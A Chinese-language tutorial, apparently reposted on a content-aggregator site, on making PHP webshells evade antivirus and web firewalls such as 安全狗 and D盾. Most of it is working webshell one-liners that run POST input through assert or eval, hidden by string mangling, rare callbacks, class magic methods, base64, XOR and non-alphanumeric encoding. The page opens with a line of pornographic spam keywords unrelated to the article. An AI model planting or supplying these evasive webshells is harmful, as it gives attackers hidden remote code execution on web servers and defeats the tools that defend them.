日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Webshell免杀绕过waf

發(fā)布時(shí)間:2025/3/15 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Webshell免杀绕过waf 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

轉(zhuǎn)自圈子404師傅

0x01 前言#

盡最大努力在一文中讓大家掌握一些有用的WEBSHELL免殺技巧

0x02 目錄#

  • 關(guān)于eval 于 assert
  • 字符串變形
  • 定義函數(shù)繞過
  • 回調(diào)函數(shù)
  • 回調(diào)函數(shù)變形
  • 特殊字符干擾
  • 數(shù)組
  • 編碼繞過
  • 無字符特征馬
  • PHP7.1后webshell何去何從
  • 總結(jié)
  • 0x03 關(guān)于eval 于 assert#

    關(guān)于eval函數(shù)在php給出的官方說明是

    eval 是一個(gè)語言構(gòu)造器而不是一個(gè)函數(shù),不能被 可變函數(shù) 調(diào)用
    可變函數(shù):通過一個(gè)變量,獲取其對應(yīng)的變量值,然后通過給該值增加一個(gè)括號(hào)(),讓系統(tǒng)認(rèn)為該值是一個(gè)函數(shù),從而當(dāng)做函數(shù)來執(zhí)行
    通俗的說比如你?<?php $a=eval;$a() ?>?這樣是不行的 也造就了用eval的話達(dá)不到assert的靈活,但是在php7.1以上assert已經(jīng)不行

    關(guān)于assert函數(shù)

    assert() 回調(diào)函數(shù)在構(gòu)建自動(dòng)測試套件的時(shí)候尤其有用,因?yàn)樗鼈冊试S你簡易地捕獲傳入斷言的代碼,并包含斷言的位置信息。 當(dāng)信息能夠被其他方法捕獲,使用斷言可以讓它更快更方便!

    0x04 字符串變形#

    字符串變形多數(shù)用于BYPASS安全狗,相當(dāng)對于D盾,安全狗更加重視"形"
    一個(gè)特殊的變形就能繞過安全狗,看看PHP手冊,有著很多關(guān)于操作字符串的函數(shù)

    ucwords() //函數(shù)把字符串中每個(gè)單詞的首字符轉(zhuǎn)換為大寫。
    ucfirst() //函數(shù)把字符串中的首字符轉(zhuǎn)換為大寫。
    trim() //函數(shù)從字符串的兩端刪除空白字符和其他預(yù)定義字符。
    substr_replace() //函數(shù)把字符串的一部分替換為另一個(gè)字符串
    substr() //函數(shù)返回字符串的一部分。
    strtr() //函數(shù)轉(zhuǎn)換字符串中特定的字符。
    strtoupper() //函數(shù)把字符串轉(zhuǎn)換為大寫。
    strtolower() //函數(shù)把字符串轉(zhuǎn)換為小寫。
    strtok() //函數(shù)把字符串分割為更小的字符串
    str_rot13() //函數(shù)對字符串執(zhí)行 ROT13 編碼。

    ?

    由于PHP的靈活性操作字符串的函數(shù)很多,我這里就不一一列舉了

    用substr_replace()?函數(shù)變形assert 達(dá)到免殺的效果

    <?php $a = substr_replace("assexx","rt",4);$a($_POST['x']);?>

    ?

    其他函數(shù)類似 不一一列舉了

    0x05 定義函數(shù)繞過#

    定義一個(gè)函數(shù)把關(guān)鍵詞分割達(dá)到bypass效果

    <?php function kdog($a){ $a($_POST['x']);}kdog(assert);?>

    反之

    <?php function kdog($a){ assert($a);}kdog($_POST[x]);?>

    ?

    效果一樣,這種繞過方法,對安全狗還是比較有效的 在d盾面前就顯得小兒科了 ,不過后面會(huì)講到如何用定義函數(shù)的方法來 繞過d盾

    0x05 回調(diào)函數(shù)#

    call_user_func_array()call_user_func()array_filter() array_walk() array_map()registregister_shutdown_function()register_tick_function()filter_var() filter_var_array() uasort() uksort() array_reduce()array_walk() array_walk_recursive()

    回調(diào)函數(shù)大部分已經(jīng)被安全軟件加入全家桶套餐 所以找到一個(gè)生僻的不常用的回調(diào)函數(shù)來執(zhí)行 比如

    <?php forward_static_call_array(assert,array($_POST[x]));?>

    這個(gè)函數(shù)能過狗,但是D盾顯示是一級(jí)

    0x05 回調(diào)函數(shù)變形#

    前面說過眾多回調(diào)函數(shù)已經(jīng)被加入豪華套餐了,怎么繞過呢,其實(shí)也很簡單 那就是定義個(gè)函數(shù) 或者類來調(diào)用

    定義一個(gè)函數(shù)

    <?php function test($a,$b){ array_map($a,$b);}test(assert,array($_POST['x']));?>

    定義一個(gè)類

    <?php class loveme { var $a; var $b; function __construct($a,$b) { $this->a=$a; $this->b=$b; } function test() { array_map($this->a,$this->b); }}$p1=new loveme(assert,array($_POST['x']));$p1->test();?>

    ?

    0x06 特殊字符干擾#

    特殊字符干擾,要求是能干擾到殺軟的正則判斷,還要代碼能執(zhí)行,網(wǎng)上廣為流傳的連接符

    初代版本

    <?php $a = $_REQUEST['a'];$b = null;eval($b.$a);?>

    ?

    不過已經(jīng)不能免殺了,利用適當(dāng)?shù)淖冃渭纯擅鈿?如

    <?php $a = $_POST['a'];$b = "\n";eval($b.=$a);?>

    ?

    其他方法大家盡情發(fā)揮如"\r\n\t",函數(shù)返回,類,等等

    除了連接符號(hào) 還有個(gè)命名空間的東西 \ 具體大家可以看看php手冊

    <?php function dog($a){\assert($a);}dog($_POST[x]);?>

    ?

    當(dāng)然還有其他的符號(hào)熟讀PHP手冊就會(huì)有不一樣的發(fā)現(xiàn)

    0x07 數(shù)組#

    把執(zhí)行代碼放入數(shù)組中執(zhí)行繞過

    <?php $a = substr_replace("assexx","rt",4);$b=[''=>$a($_POST['q'])];?>

    多維數(shù)組

    <?php $b = substr_replace("assexx","rt",4);$a = array($arrayName = array('a' => $b($_POST['q'])));?>

    0x08 類#

    說到類肯定要搭配上魔術(shù)方法比如?__destruct(),__construct()
    直接上代碼

    <?php class me{ public $a = ''; function __destruct(){ assert("$this->a"); }}$b = new me;$b->a = $_POST['x'];?>

    用類把函數(shù)包裹,D盾對類查殺較弱

    0x09 編碼繞過#

    用php的編碼函數(shù),或者用異或等等
    簡單的base64_decode,其中因?yàn)樗恼齽t匹配可以加入一些下劃線干擾殺軟

    <?php $a = base64_decode("YXNz+ZX____J____0");$a($_POST[x]);?>

    異或

    <?php $a= ("!"^"@").'ssert';$a($_POST[x]);?>

    0x9 無字符特征馬#

    對于無特征馬這里我的意思是 無字符特征

  • 利用異或,編碼等方式 例如p神博客的
  • <?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_='assert';
    $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); //$__='_POST';
    $___=$$__;$_($___[_]); //assert($_POST[_]);
    ?>
  • 利用正則匹配字符 如Tab等 ?然后轉(zhuǎn)換為字符

  • 利用POST包獲取關(guān)鍵參數(shù)執(zhí)行 例如
  • <?php $decrpt = $_POST['x'];$arrs = explode("|", $decrpt)[1];$arrs = explode("|", base64_decode($arrs));call_user_func($arrs[0],$arrs[1]);?>

    0x10 PHP7.1后webshell何去何從#

    在php7.1后面我們已經(jīng)不能使用強(qiáng)大的assert函數(shù)了用eval將更加注重特殊的調(diào)用方法和一些字符干擾,后期大家可能更加傾向使用大馬

    總結(jié)#

    對于安全狗殺形,d盾殺參的思路來繞過。生僻的回調(diào)函數(shù),特殊的加密方式,以及關(guān)鍵詞的后傳入都是不錯(cuò)的選擇。
    對于關(guān)鍵詞的后傳入對免殺安全狗,d盾,河馬 等等都是不錯(cuò)的,后期對于菜刀的輪子,也要走向高度的自定義化
    用戶可以對傳出的post數(shù)據(jù)進(jìn)行自定義腳本加密,再由webshell進(jìn)行解密獲取參數(shù),那么以現(xiàn)在的軟WAF查殺能力
    幾乎為0,安全軟件也需要與時(shí)俱進(jìn)了。

    轉(zhuǎn)載于:https://www.cnblogs.com/-qing-/p/10631414.html

    總結(jié)

    以上是生活随笔為你收集整理的Webshell免杀绕过waf的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。